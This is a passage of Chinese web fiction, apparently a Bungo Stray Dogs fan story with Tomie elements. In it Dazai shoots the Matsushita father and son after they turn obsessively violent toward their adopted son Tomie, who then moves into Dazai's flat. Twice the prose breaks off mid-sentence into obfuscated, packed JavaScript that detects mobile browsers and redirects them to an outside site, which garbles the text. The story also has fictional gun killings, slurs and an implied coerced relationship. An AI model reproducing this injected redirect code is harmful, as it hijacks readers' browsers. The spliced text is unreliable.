松下佑太显然意识到了什么，突然语气僵硬地对着自己的父亲开口，“宴会过去了这么久，我想富江你已经很累了。父亲，我先带富江回房间，你继续和太宰先生谈话吧。” 说完他将手放在宫水富江的肩膀上，强硬地拉着对方离开。 宫水富江感受着肩膀上的劲头轻轻蹙眉，原本还想让对方力气轻点的话语在听到对方的话后立即消失得无影无踪，因为他现在的脑海里只剩下了一个念头——作为宴会主角的他可以提前离场了！ 见状，他乖巧听话地顺着松下佑太的力道迈步离开。然而在走了几步之后，他突然发现自己还没有找到方法参与合同的签约之中。 于是，他下意识回头看向身后的黑发青年，快速在脑海寻找解决办法。 …… ………… 看到两人离开的步伐，松下幸之助才维持着主人的态度对着太宰治勉强开口，“抱歉，他的身子比较弱，不得不提前离开。” 黑发青年像是并未发觉两人那独占欲般摇头，“没事，自然是他的身体更加重要。” 松下幸之助笑道，“别太在意他，比起这种事情，我们不如聊聊合同续签的事情……” 太宰治颔首，“当然。” 他也是时候离开这里了。 三人之间的关系刚开始确实吸引了他的注意，可是在知道是怎么一回事后——松下父子两人在用收养的名义遮掩背后包|养的真相，他就失去了兴趣。 目前根据他观察到的细节来看，那名少年也许还是被迫的。 想到这里，太宰治感受到了一股视线。 他抬眸顺着方向看去，发现就是他刚刚所想的那位养子。 对方似乎没有想到会对上视线，很快慌乱了回头装作没有发生的样子低下了头，像只纯洁无害的白兔。 可是在对方的美貌下，那更像是某种若有若无的引诱。 “……” 太宰治若有所思地注视着对方的背影，想起了刚刚自己得出的结论。 被迫的……吗？ 却不知，在他目光持续不断停留在宫水富江身上的时候，他面前的松下幸之助也不知道什么时候停下了话语紧紧盯着他。 * ……他可能真的小看了对方，小看了对方的影响力。 虽然他是很好奇宴会上少年那试探般的举动背后的含义，可他真的不想牵扯到他们三人的关系之中。 在隶属于港口Mafia名下的某个酒店内，太宰治保持微笑地看着对面不远处与松下父子两人一起跟过来的黑发少年思考。 他完全没有料到，松下幸之助居然会让那位养子也加入这种重要的场合，甚至就连松下佑太也完全不在意这件事情。 以至于现在展现在他面前的是一幅难以言喻的场景—— “富江，我已经为你准备好了这个季节的服装。我想你穿上的样子一定很美！” “富江，比起衣服，我想你更喜欢跑车吧？我前几天购买的跑车刚好到了，等回去的时候，我们一起去看吧。” “富江，你还有什么想要的吗？” “富江，富江……” 长相相似的父子两人正目不转睛地对着坐在他们之间的黑发少年不断讲着什么，一声又一声地喊着富江的名字，就像是在春天发|情的动物，试图吸引心悦的对象。 此时距离宴会结束已经过去整整三天了，当时松下幸之助为了表达对合作伙伴的重视，对太宰治定下了在今天进行续签的行程，这也就是他们现在坐在这里的原因。 那时候的太宰治觉得这只是一份简单的工作，还能顺便继续看看在他离开之后，面前这三个人之间又发展出了什么新乐子。 可现在…… 肌肤如牛奶般嫩滑、外表看似少年的人用一种具有紧张感的坐姿——脚尖并拢、脚跟分开——坐在沙发上，对方低垂着头，虽然看不清楚眼睛，但从太宰治的视角能轻易看到对方抿起的唇角。 紧接着，对方微张薄唇。 “……我没有什么想要的。” 音量不大，但在这只有四个人的包厢中清晰可辨。 那是拒绝的话语。 松下佑太微笑的表情僵硬，可很快又继续伸出手，“富江，你再仔细想想……” 少年抬起头，左眼眼尾的泪痣落在众人的视线中吸引了大家的注意。 “可是，今天过来不是为了谈合作的吗？和这位……” 对方将目光落在脸上缠绕着绷带的黑发青年身上继续道，“——太宰先生。” 不妙。 太宰治见状内心想到。 他看向少年身边的两个人。 果不其然，他们都像是恐怖电影中被鬼附身的角色，在镜头切换过去后，突然面无表情且安静地注视着他。 尽管之前在宴会上的时候，太宰治就有所察觉——松下父子二人对这个养子的感情不简单，可那个时候他只是觉得他们有点痴迷。然而才过去三天，松下父子两人之前在宴会上的伪装直接荡然无存，原本的痴迷也仿佛安装了加速器般变得阴暗扭曲。 就好像被蛊惑了一般。 太宰治看向造成这个局面的少年，知道自己要做什么。 他需要转移视线。 “松下先生，这是我们本次续签的合同。”太宰治神情不变，拿出了自己这次过来的合同放在了桌面上，“您看看有没有什么问题？如果没有，我想我们很快就能愉快地达成合作，结束这次的见面。” 然后，他就能离开这个地方。 “合同……对了，合同！”松下幸之助像是精神恍惚的老人，突然想起了什么般盯着桌面上的那张纸出声。 太宰治盯着对方的动作，只见对方颤抖着手拿出从胸前的西装口袋中拿出钢笔，看也不看上面的内容就在那张纸上签字。 看样子，对方已经全然忘记了之前在宴会上时和他说过的话语——让他的儿子松下佑太跟在他身边学习并逐渐熟悉公司事务。 签完对方直接将笔丢在桌面上，侧头看向其身边的绝美少年，“富江你看，合同已经签好了，我们继续刚刚没有说完的话题吧。既然不想要衣服，那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太宰治内心叹气，爱情是个十分奇妙的东西，因为排他性可以轻易使一个人被情绪蒙蔽头脑失去理智，从而做出不符合自身的行为。 更别提现在他们的状态明显和几天前相比不太对劲，对方的这种话无疑是火上浇油，只会让松下父子二人的情绪更加激动。 果不其然，像是印证太宰治的想法，松下佑太开始急促地说话。 “富江，我知道他看起来很像那种年轻有为的成功人士。但是、但是他完全不像我和父亲那样，他、他……”松下佑太语气亢奋，喘着粗气。 大概是想彻底毁掉太宰治在宫水富江心中的印象，他在短暂的鼓足了勇气后对着宫水富江道，“他可不是富江你心中所以为的那种优秀的人……他可是港口Mafia的人啊！” 说完，松下佑太带着期待的目光看向黑发少年，试图看到对方幻想破灭、流着泪回归他与父亲怀抱的模样。 实际上，黑发少年刚开始确实有所皱眉，可是不知道想到了什么，倏地松开眉头，露出恍然大悟的神情。 紧接着，松下佑太听到对方替太宰治辩解： “可是……Mafia又不能代表一个人的一切，这不能说明什么。” 听到这句话，太宰治多看了两眼少年。 对方还是那副懵懵懂懂的样子，纯善的仿佛不知道恶为何物。 但其实并不是这样，宫水富江只是因为松下佑太的话语想起了室友说过的话——太宰治为了友人跳槽。 在结合一下港口Mafia和好人，宫水富江脑海里已经有了个大致的剧情。 邪恶的港口Mafia首领看中了太宰治这个主角的能力，为了让对方留在港口Mafia，于是挟持了对方的友人。 太宰治忍辱负重、卧薪尝胆，直至实力强大，才救回了自己友人一起跳槽去了善良组织。 脑海中的想法终究是脑海中的想法，松下佑太完全不知道宫水富江都脑补了些什么。 他只能瞪大双眸，不明白为什么对方这么高看太宰治，即使知道对方是臭名昭著的Mafia也完全不为所动。一瞬间，松下佑太感觉的爱欲在燃烧，狠欲在迸溅，理智在对他呐喊，诉说着这个少年对他人的另眼相看。 然后…… “贱|人。” 松下佑太以为自己说出了心里话，可是等他顺着声音发出的地方看去，原来是他的父亲说出了这句话。 可忽地，他不仅没有觉得有什么不对，甚至从内心深处对这句话表现出了认同。 因为…… “明明我和父亲已经把我们有的一切都给你了，但是富江你却更喜欢这个男人，你这个……天生喜欢勾引别人的婊|子！”他愤怒道。 5. 第 5 章 事态的发展急速变化。 上一刻还恨不得将所有的东西全部送给少年，下一刻就因为少年的话语而表达出愤怒。 这还真是…… 见到了更令他作呕的一幕，太宰治的眼眸空洞，注视着松下父子二人的神情像是与世隔绝的旁观者。 可很快，松下父子二人接下来的举动让他无法继续旁观。 “富江，我看到你刚刚又在看他了……你就这么喜欢他吗？啊？明明你现在的一切都是我给你的！我饶不了你这个贱|货，绝对要杀了你！” 松下佑太原本还在继续对少年吐露恶意，可是没多久，对方就像意识到了什么转换了目标。 他转头对准太宰治，话锋一转，“不过在那之前，我得先把他杀了才行……” 即使被松下父子虎视眈眈，太宰治却依然淡定。 这种类似‘要杀了他’的话语，从他加入港口Mafia后就没少听过，太宰治都见怪不怪了。 只是比起这种事情，他现在有别的在意的地方。 从少年之前在宴会上的试探，太宰治就知道他可能是宫水富江的目标，但不确定对方的目的。 因为松下父子和少年之间奇怪的关系，所以太宰治最初的猜测是，对方试图像掌控松下父子二人那样掌控他。 可是在签合同中，随着少年的行为举止导致松下父子对他产生敌意，太宰治的猜测发生了转变。 他又觉得对方可能是想利用松下父子故意制造矛盾来针对他，这样一来对方确认他姓名的事情也能说得通。 然而就在刚刚听到松下佑太发表要杀了少年的言论后，太宰治再次打消了自己的猜测，转而产生了奇怪的情绪。 之前所有的猜测是基于对方的纯善是伪装、目标是他的假设下，可目前的情况又不像是这样…… 眼看黑发青年在他们的话语下无动于衷甚至走神，松下佑太表情也变得愈发狰狞起来。 他从自己的西装内侧口袋中拿出枪支，对准黑发青年。 “在临死之前还有什么遗言想要说的吗？” “唔？” 黑发青年似乎终于回神，可神情没有太多变化，甚至饶有闲心地将自己的左腿架在右腿上。 “疑问的话，还是有的。作为YMC代表的松下先生难道不打算制止自己的儿子做出与港口Mafia为敌的举动吗？明明我们刚签完了合同。还是说……” 黑发青年话锋一转，“松下先生和他是一个想法？” 太宰治打算最后确认一下松下幸之助的立场，不过他觉得这个确认的作用不大就是了。 事实也是如此，中年男人的态度与松下佑太如出一辙，“你只是港口Mafia的成员，但我可是YMC的社长！只是一个成员的死亡，怎么可能影响得到我和港口Mafia之间的合作？还是说，你觉得你比合作更重要？” “而且……”中年男人似乎想到了什么，情绪相当不稳定，“你也有错！如果不是你引起了富江的注意……死，不仅富江得死，你也得死！” 这比脑容量小的某个黑漆漆的小矮人还过分，这完全是连脑子都没有了吧？ 太宰治面无表情地看着松下父子。 但是…… 听到刚刚话语，发现连作为父亲的松下幸之助也是这个态度，太宰治的疑惑加深。 他有点不清楚这是少年的操控翻车，还是说对方远比他想象得更加狡猾，这也是对方计划中的其中一环。 随着好奇增多，太宰治的目光落到从始至终都没有说话的少年。 这才发现对方早就蜷缩在原来的位置上，惊恐地看着一切，像是被眼前发生的一幕震惊到说不出话来。 “……” ‘咔哒’一声拉回了太宰治的思绪，他看向发出声音的地方。 原来不知何时松下幸之助也拿出了枪支，刚刚的响动就是对方推弹上膛的声音。 确定松下父子的想法改变不了后，太宰治忍不住轻声叹息，“麻烦了呢……” 他的话语引起了对面松下佑太的注意，对方嘴角上扬，“你确实麻烦了，毕竟你马上就要死了……” “我可是打听过你的消息的，虽然很少，但是我确实记得一件事……你的武力值，并不高吧？” 黑发青年站起身摊了摊双手，语气懒散地回答，“好像是有这样一回事呢，我的武力值只能排中下水准呢……” 松下佑太得意地笑了起来，他动了动自己手中的枪支，“而现在是二对一，如果你站在原地不动，我可以让你更加轻松地死掉。” “嗯？轻松地死掉吗？”黑发青年终于提起了兴趣，可紧接着像是想起了什么，“不不不，我可是清晰地记得被枪杀是很疼的……而且要是你准头不行，那我面临的大概是长达五分钟的剧烈疼痛，最终失血过多而死……” 他的话语很明显惹怒了松下佑太，对方脸上的笑容消失，转而抬起枪对准他。 然后，按下扳机。 太宰治其实做好了躲避的准备。 就像他说的，他不想自己的死因是伴随剧烈疼痛的失血过多。 可是出乎预料的，另一个人的速度比他更快。 在枪声响起之前，对方猛地冲向他。 巨大的冲击力让太宰治产生了瞬间的恍惚，等意识回神，他已经被重物压倒在了地面上，并且腰腹上传来被钝物撞击的疼痛感。 他下意识出声，“疼疼疼……” 虽然喜欢自|杀，但他真的很讨厌疼痛。即使受伤无数次变得习惯疼痛，但只要受伤，他还是会喊出声。 “没、没事吧？” 被压着的腰腹上方传来声音主人担忧地询问，熟悉的嗓音让太宰治知晓了对方是谁——宫水富江。 “你、——” 从来没有经历过这种待遇的太宰治在意识到发生了什么之后，面色不善起来。 他下意识想要使用命令的语气喊对方起身，可是堪堪说了一个字，他就停下了话语。 ……香味。 那是从坐在他腰腹上的少年身上冒出来的香味，浓郁到仿佛将他整个人都包裹了起来。 “怎么了吗？是哪里受伤了吗？” 少年担忧地望向他，生怕他是因为哪里受伤而无法说话太宰治甚至能注意到，对方那双眼眸里满是自己的身影。 被对方这样打岔，他反应过来了自己刚刚的走神，瞬间脸色一黑。 他下意识想让少年从他身上坐起来，可是还没有说出口，另一个人就率先说话。 “富江……你这个水性杨花的家伙！你就这么喜欢太宰治吗？你们这两个混蛋……！” 是松下佑太，对方恶狠狠地注视着少年跨坐在黑发青年腰腹上的场景，仿佛见到了什么十恶不赦的画面。 大概是受到了刺|激，只见对方再次举起手上的枪支对准他们。 在对方即将扣动扳机之时，太宰治只好顺势抱住少年往旁边滚动一圈。 几声枪响后，子弹射在了他们刚刚的位置上。 太宰治停下动作，从少年的身上起身。 可即使离开对方，香味却依然沾染在了他的身上，像是紧紧依附的菟丝子。 他顿了一下后，又若无其事地拍了拍自己黑色西装上显眼的灰色尘埃，像是自言自语道，“既然如此，那么接下来我进行反击，想必首领也不会多说什么了吧……” 听到这句话的松下佑太刚想嘲讽两句，就看见黑发青年从腰侧处拿出一支枪。 “幸好刚刚摔下来的时候是在另外一边，不然就没有武器了。” 黑发青年边说着，边若无其事地将目光从看见他拿出枪后就瞪大双眸的少年身上移开，举起了手中的枪支对准了松下佑太。 “……”松下佑太倔强开口，“就你那中下的水平，真的能瞄的准吗？” 很快，黑发青年做出了动作。 松下佑太注意到对方原本指着他的手枪迅速换了个方向，扣下扳机。 一声枪响后，随之响起的是重物倒地的声音。 松下佑太顺着声音看去，只见自己的父亲已经额头中弹倒在了血泊之中。 通过判断不难看出，应该是松下幸之助想趁着黑发青年的注意力在松下佑太身上的时候解决对方。 只可惜还没等动手，就被注意到的太宰治趁其不备反杀了。 “父亲……？” 松下佑太有些恍惚，下意识喊了起来。 可就在这个时候，他只感觉从自己的下方突然出现一道强劲的风，紧接着，下颚处便是一阵疼痛。 他不受控制的松开了拿着枪支的手，又因为眼前发黑且刚刚的袭击而平衡倾斜，于是单膝跪在地面上撑着身体。 等松下佑太捂着自己的下颚，能颤颤巍巍地抬起头从开始恢复的视野中看到黑发青年的时候，已经过去了好几秒。 他声音颤抖，语气茫然地质问，“……中下的水平？” 黑发青年像是听到了什么好笑的话语，嘴角上扬，“松下少爷，你可能会错意了。” “我说的中下不是指组织内，而是指在战斗部门里水平中下。” 等松下佑太彻底理解对方这句话的意思后，他才难以置信地看向对方，可映入眼帘的是黑发青年举枪瞄准他的模样。 “等、……” 求生的本能下意识让他开口求饶，可是还没有说完，枪声就响了起来。 终于，包厢内再次安静无声。 太宰治注视着面前的松下父子二人倒地的场景，面不改色。 “谢、谢谢……太宰先生。” 没多久，一道声音才缓缓响起。 太宰治望了过去，说话的少年有些不知所措地站在原地，但已然没有了之前的恐惧。 他看了看面前表现茫然的少年，又看了看现在倒地不起的松下父子。 对方的目的该不会是YMC吧？他想。 前面的时候太宰治没有多余的时间思考，可是现在该解决的人解决后，目前面对现在的局面，他从对方的受益分析只能分析这样的目的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509460|170551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >松下父子二人死亡，那么接下来继承松下幸之助遗产的只能是面前的少年。 虽然还只是猜测，但对方继承已成定局。 想到这里，太宰治忍不住叹息，“麻烦了……” 热武器供应商的YMC成了现在这样，那么之前的签约只能当作报废处理。 而这份工作是他进行的，也就是说即使失败了，也必须得由他去找下一任合作对象。 怎么看也太麻烦了！早知道会变成现在这样，他当初就应该果断地翘班，然后把这个麻烦抛给某只蛞蝓！ 太宰治还在懊悔的时候，耳边再次传来了少年的声音。 “好、好像是要有麻烦了……” 少年注视着面前的画面，表情有些不适，原本白皙的皮肤现在更是惨白，但对方还是坚持道，“不过不用担心。这、这并不是太宰先生的问题，如果……” 他定了定神，继续道，“如果太宰先生到时候有需要，我、我可以随时为太宰先生做证您是正当防卫。” “……” 太宰治仔细辨析少年的表情和肢体动作，缓了缓他才慢悠悠地开口，“我说的麻烦其实并不是这个。” 迎上对方的目光，太宰治回答，“而是指与港口Mafia的合作商没了，要重新找一个很麻烦。” 只不过没有想到，对方居然以为他的麻烦是他杀了两个人身上。 某种程度上来说，对方的思维是他没有想到的。 少年先是微怔，随后像是想到了什么黑色的双眸亮了起来，“既、既然这样，那不如我来代表YMC与太宰先生背后的港口Mafia合作……怎么样？” 太宰治没有立即说话，而是盯着面前的少年。 直至对方有些不自然地微微侧头，他才说话。 “富江……我就叫你富江好了。富江你这么帮助我，对你有什么好处吗？” 人不会做没有利益的事情，所以太宰治是故意这么询问对方的。 只要对方回答，那么他也许就能从对方接下来的话语中想明白对方在他身上的目的。 “这、这……那、那个……” 黑色少年因为他的话语支支吾吾的同时，流露出些许羞涩的神色。 从太宰治的视角来看，这真的很像是某种暗示。 “太宰先生……救了我，所以如果可以……” 少年话语断断续续，很快又坚定了起来。对方鼓足了勇气，大着胆子说，“如果可以的话，我想尽自己可能的报恩！” 这不是像某种暗示了，这几乎是明示的范围了。 太宰治这么想，但他还是装作不解地歪了歪头，“报恩？怎么做？” “我代表YMC与太宰先生你继续合作，还有就是……” 少年与他对视，薄唇微张，吐出一句话： “——我可以照顾你的生活起居。” 太宰治：“……？” 他沉默良久，头顶缓缓打出一个问号。 这就是对方的目的吗？ 对方下操控松下父子翻车迫使他不得不成为对方的恩人，然后强行报恩？ ……话说，与其说是报恩，这更像是碰瓷。 * 刚开始看见松下父子二人将矛头对准太宰治的时候，宫水富江是真的担心对方会因为他而死，于是冲了上去，再不济他还有富江体质作为后盾。 可事实证明，对方其实完全不需要他的帮助。 在松下父子死亡后，宫水富江在不适应的同时也深深松了口气。虽然不太好，但他为自己没有了生命威胁而感到庆幸。 再加上对方是他的救命恩人——尽管是处于自保被迫的，但那也是！所以在对方表示自己有麻烦的时候，宫水富江想要尽可能地帮对方忙。 而且，他发觉这也许是个他创造与对方接触的好机会。 于是宫水富江说出了那句话——照顾别人的生活起居，……而且尽管这听起来有点奇怪，但他真的没有想到更好的方法。 并且，提出这样的要求不仅仅是因为这是他的强项，也是因为这句话的言下之意表明他们可能需要居住在一起。如果成了室友关系，那么后面还愁没有接触机会吗？ 想想他与室友平日里的交流与接触，宫水富江觉得只要对方答应，那么他苟命就完成了重要的一步！ 但似乎他的要求令对方相当为难，对方表情奇怪地沉默了良久，久到宫水富江都在想是不是真的太奇怪了，所以对方想拒绝。 可最终不知道对方想了些什么，神色又突然释然。 黑发青年面带微笑地回应了他的要求： “好哦。” ** 碰瓷，这对太宰治来说也是一种新奇的体验了。 在知道他的名声后，几乎没有人敢做这样的事情。而且对方的种种奇怪表现让他想起了刚参加宴会时的想法。 虽然不知道能坚持多久，但他确实找到强心剂了，不是吗？ 太宰治看着面前因为他答应而满含期待的少年保持微笑。 6. 第 6 章 白天，横滨，港口Mafia的总部大厦。 太宰治携带着一份新的合同出现在顶层，这里不仅仅是风景最好、能看见横滨全景的地方，同时也是独属于港口Mafia首领的地方——这一层全被用来当作首领办公室。 来到大门前，在守卫检查完后，太宰治抬手敲了敲门。 静等了大约三秒，里面才传出声音。 “请进。” 守卫推开大门，太宰治低头垂眸径直走了进去。 落地窗没通电，整个办公室灯光昏暗，唯一的光源是首领办公桌上的那盏台灯。 虽然看不见，但是通过沙沙声，他知道首领现在正在处理文件。 直至距离木桌还剩一米的样子，他才停下脚步，单膝跪地。 “首领。” 即使单膝跪地，膝盖也不会感觉到疼痛，因为地面上铺满了花纹精致的贵重地毯。 “啊，原来是太宰君啊。”沙沙声停止，对方像是才发现般发出感叹，“起来吧。” 太宰治站起身抬起头，看清楚面前中年男人的身影。 半长的黑色头发一丝不苟的梳到脑后，身上穿着布料细腻的黑色西装，肩膀还慵懒着耷拉着红色围巾。嘴角勾起高深莫测的笑容，而那双紫红色的眼眸正直勾勾地盯着他看，仿佛想要看穿他的内心。 太宰治没有多言，而是将那份合同摆在了对方的桌面上。 首领伸手拿起来看了两眼，在几秒后发出叹息声，“听说YMC的松下先生和他的儿子死了，现在看来是真的啊。” 紧接着对方的视线下移看着合同上从未见过的签名，继续道，“宫水富江……好像之前你跟我提过的那位松下先生收养的养子？” 明明才过去一个晚上，按照正常速度来说，松下父子二人死亡的消息传播得不应该这么快，但太宰治并不意外首领知道这些事情。 在他们的世界，情报才是武器。 太宰治语气轻松地回答，“确实是这样，宫水富江在松下先生和其儿子死亡后成为了唯一具有继承权的人选，所以目前正式继承并成为了YMC现任的社长。但是总的来说，对于我们没有任何变化，该进行的交易还在继续。毕竟……” “——无论组织的首领被换了谁，只要秩序依然存在，就不会有任何影响。” “……” 太宰治说完这句话后，他能明显感受到面前的男人陷入了沉默。 只不过持续的时间不长，他又很快|感受到对面发出了笑声和纸张被放在桌面的声音。 他望过去，首领原本被合同遮掩的面貌露了出来，露出了和之前一样高深莫测的笑容。 唯一不同的是，这次对方双手合十抵在下颚处，在背光的环境下衬托的那双眼眸显得格外危险。 可随着男人说话，那股危险的氛围顿时烟消云散。 “你说得对。所谓的首领，既是组织的顶点，又是组织内所有人的奴隶。”① “在必要的时候，为了组织整体而舍弃首领也未尝不是最优解的。” 太宰治眼眸微眯。 他清楚地知道对方这句话在意指什么，对方是在暗指对方篡位先代首领成为港口Mafia首领的那一晚。 很快，对方像是什么都不知道般话锋又一转。 “但是太宰君，”首领摊了摊自己的一只手，语气抱怨，“我想说的不是这个。你知道的吧，就是那个啦那个……” “——为什么松下父子会在签合同前被人在家中被人暗杀了呢？” 在家中被暗杀，这是太宰治在有限的时间内抛给众人看的虚假答案。除了他和宫水富江，其余人谁也不知道真相。 而之所以选择暗杀，则是因为这种事情对于他们来说太常见了，就连森鸥外也时常遭遇暗杀，所以对方每次外出的时候，都会进行必要的伪装。 可同样的，太宰治也清楚地知道。 面前的男人既然问出了这样的问题，就说明对方绝对没有相信这样的借口。 老狐狸…… 虽然这么想，但他依然面不改色，甚至像模像样地学着对方的动作摊手，用往常一贯不正经的语气回答，“谁知道呢？说不定是别人复仇？又或者是看不惯港口Mafia的组织做的好事？毕竟像这样的事情实在是太多了，首领你也不是整天被暗杀吗……比起聊这种无聊的事情，你想要的合作我也已经拿给你了。如果没有什么别的事情，我就打算离开了，我刚好想到了一个新的自|杀方法想要试试呢。” “……” 森鸥外仔细注视着面前黑发青年的神态和动作，然而不知何时对方在这方面的控制早就已经远超常人，哪怕是作为老师的他现在也看不出任何端倪。 这就是‘怪物’的成长吗？ 越是这样，他越是…… 他眼眸中闪烁着什么，随后用笑容遮掩眼中易被察觉的思绪，“好吧，合同续签的事情就暂时这样吧。但是还有一件事情得问问太宰君……这位继承YMC的宫水富江是个怎样的人？” 作为港口Mafia的首领，他有必要知道组织新的合作对象是位怎样的人。 本以为黑发青年能快速回答，却没有想到对方意外地在这个地方犯了难。 在森鸥外的目光中，黑发青年站在原地用听不清的音量嘀咕着什么，表情又是困惑又是犹豫。 他也是第一次见这样的太宰治，难得多欣赏了一会儿这样的青年。 终于，对方在纠结了好一会儿后才堪堪回答他的提问，“……擅长利用美貌进行新型碰瓷的美人？” 森鸥外：“……？” 当他打出问号的时候，不是觉得自己有问题，而是觉得对方有问题。 头脑风暴了一会儿后，森鸥外才平复自己的心情思考对方这句话的含义。 虽然定语奇怪，但出于对太宰治的了解，森鸥外不认为对方会被对方碰瓷到。 因此，他的着重点很快放在了对方后面的美人上。 这还是他第一次听到太宰治对他人发表容貌上的评价。港口Mafia内并不缺长得好看的人，例如作为干部的尾崎红叶，又或者与太宰治一样距离干部还有一步之遥的中原中也，他们的容貌相当精致，可以说出门当明星也是绰绰有余。 甚至就连太宰治本人也是如此，即使外界因为对方的做事准则更关注对方的作风，但对方的容貌绝不输于刚刚说的两位。 可现在，这样的太宰治居然对这位宫水富江的容貌打出这样高的评分…… 太宰治自然不会等他思考这么久，在向他展现了任务的结果和回答完问题后，对方便早早离开了办公室。 等办公室的大门都关上，房间内只剩下他一个人后，森鸥外终于忍不住开口，“我都想见见这位宫水君了呢。” “诶？林太郎的兴趣什么时候变成美丽的男人了？不过糟糕这一点还是没有变呢。” 倏地，办公室内又传出了一道小女孩的声音，但森鸥外并没有感到任何意外。 他看向不知何时坐在沙发边地毯上金发碧眼的小女孩，露出了受伤的神情，摆出浮夸的动作和语气，“人家才没有对这样的男性感兴趣！我永远只对你一心一意！而且爱丽丝酱你好坏心眼，你明明知道我是什么意思的……” 说着，肩披红色围巾的中年男性迅速恢复了正经的模样站起身。 刚好此时身后的落地窗突然通电，横滨的全景展现在了他的面前。 他直直地走到落地窗前看向窗外一览无余的风景，继续道，“只是难得看见太宰君对谁产生了兴趣，所以感到好奇了而已。” * 离开首领办公室的太宰治在确认接下来没有多余的任务后，偷偷地将自己需要处理的文件塞在中原中也的文件中间，然后直接翘班离开了港口Mafia。 “虽然是大脑平滑到没有一丝褶皱的蛞蝓，但有的时候也是能派上点用上的嘛……”太宰治走在路上自言自语道。 一般不在港口Mafia的时间，他有三种选择消磨时间。回到集装箱，去lupin，以及寻找并尝试新的自|杀方法。 可就在昨晚的事情过后，他出现了第四种选择——去高级公寓。 注视着面前的高级公寓，太宰治停下了脚步。 虽然是高级公寓，但却因为是港口Mafia名下的而有了特殊的含义。更准确地说，这里其实是首领免费提供高层成员居住的房屋。 作为高层的他对于这栋高级公寓自然也有自己的房间，只是他从来不住。 他加入港口Mafia的初衷纯粹是为了接近暴力和死亡，一种精神上的追求，因此对物质条件的需求很低。再加上他不想过多与他人接触，所以最后选择了远离正常人群且居住环境恶劣的集装箱。 而现在，他原本留在这栋高级公寓的空房间在昨天晚上迎来了他的新主人。 他走上属于自己的楼层，来 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会做饭，会做家务，作为室友的义父他有的时候还会喊对方起床之类的事情。 这也就是他说照顾别人的生活起居算是强项的原因。 他打开冰箱的门，发现里面的食材少得有点可怜，就好像这个家的主人从来不在这里吃饭一样，但好在解决一顿午餐不算困难。 宫水富江拿出鸡蛋、葱和米饭，准备做个蛋包饭。 就在他专心制作料理时，他完全没有注意到有人进入了家中并进入厨房来到了他的身后。 直至他看着自己精心制作出来的、堪称完美的蛋包饭，忍不住在心中赞叹自己的厨艺时，身后突然传来了一道声音。 “……你居然还会料理啊？” 宫水富江被吓了一跳，回头看见来人后松了口气。 他低头看了看自己制作的蛋包饭，小声解释，“会、会一点，这算是我的爱好。” 讲完后，宫水富江意识到哪里不对劲。 他看了看天色和时间，发出了自己的疑问，“不过这个点回来……太、太宰先生这是下班了吗？” 明明还是中午啊。 谁知，黑发青年理所当然地回答，“啊，这个啊……我其实是翘班了。” 宫水富江：“……？” 这么理直气壮的吗？你们首领什么都不管的吗？话说，港口Mafia的上班原来是这样的吗？ 虽然有很多疑问，但宫水富江不敢说。 他担心自己会被误认为是在打听情报，然后被对方警惕。 他悄悄抬起头打算查看对方的态度，却发现对方的目光直勾勾落在他制作的蛋包饭上。 宫水富江试探性地将这份蛋包饭往对方的面前推了推，“如、如果不嫌弃的话，请用……？” 黑发青年的鸢眸顿时朝他发出了闪亮亮的光，明明已经耿直地伸手将蛋包饭拿了过来，嘴上却还在客套地询问，“诶？真的可以吗？” 对这种行为目瞪口呆的宫水富江在僵硬地点了点头后，立即看到了对方狼吞虎咽的吃相。可是在联想对方经历的剧情后，他又释然。 对方现在的样子无论怎么看也就是个十七八岁的青少年，本以为港口Mafia的首领挟持对方的友人，让对方歹毒的进行工作已经很缺德了，没想到这个首领居然还会克扣对方的伙食…… 对方虽然吃了他的蛋包饭，但对方是个好人。坏人只有一个，那就是港口Mafia的首领！ 这么想着，宫水富江产生了同情，他看着吃得这么欢的人，忍不住开口提议，“既然你这么喜欢，那我之后可以继续做给你吃？” 黑发青年动作一顿，从饭碗里抬起头，咽下口中的食物后，他询问，“……什么意思？” 宫水富江想了想空旷的冰箱，又看了看面前的黑发青年，最终做下了决定，“就是说，我可以帮你制作便当。” ** “就是说，我可以帮你制作便当。” 因为黑色发丝而衬托的肤色更加白皙的少年，微张红唇如此说道。令太宰治短暂的怔在了原地。 他想，对方真的很擅长这样的事情。 说不清的情绪缠绕在太宰治的心上，最终他听到自己这样回答对方： “——那可真是太令人期待了。” 7. 第 7 章 港口Mafia名下的高级公寓。 “太宰先生。” “什么？”太宰治躺在沙发上望着天花板懒洋洋地回应说话的少年。 随着‘咔嚓’的声音响起，他不用侧头去看就知道对方又打开冰箱，像是领主巡视自己的领土一样查看冰箱内的东西。 “今天太宰先生还是想吃蟹肉料理吗？”对方的语调轻松地询问着，然后解释，“虽说蟹肉料理的制作方法也有不少，但是总是吃蟹肉也总有腻的时候吧？” 太宰治转头看了过去，虽然沙发的靠背多少遮挡了视线，但他依然能看见少年单薄的背影和放松的肩膀。 对方完全没有自己居住在陌生人家中的自觉，相当安心地放松了自己的警惕。甚至刚刚的对话中，连初见时会产生的停顿也消失不见，俨然已经习惯了现在的环境。 明明刚来这里的时候还不适应来着…… 他闭上眼，不再去看对方。 这种情况还要从几天前说起，自从答应了对方照顾他生活起居的报恩或者说强行碰瓷的请求后，太宰治就将这套森鸥外送他的属于港口Mafia名下的房间让给了宫水富江居住。 不过说是照顾生活起居，其实太宰治本人自己从未住进过这里。他每天早出晚归，营造出了自己和对方居住在一起的假象，然后等对方睡下，便又立即离开这里回到了真正居住的集装箱。 这一切的一切都是为了能够弄明白宫水富江的目的。 甚至为了让对方什么都没有察觉，他还特别贴心地配合对方制作便当的提议——当然也是因为对方做得确实好吃。 “太宰先生……？” 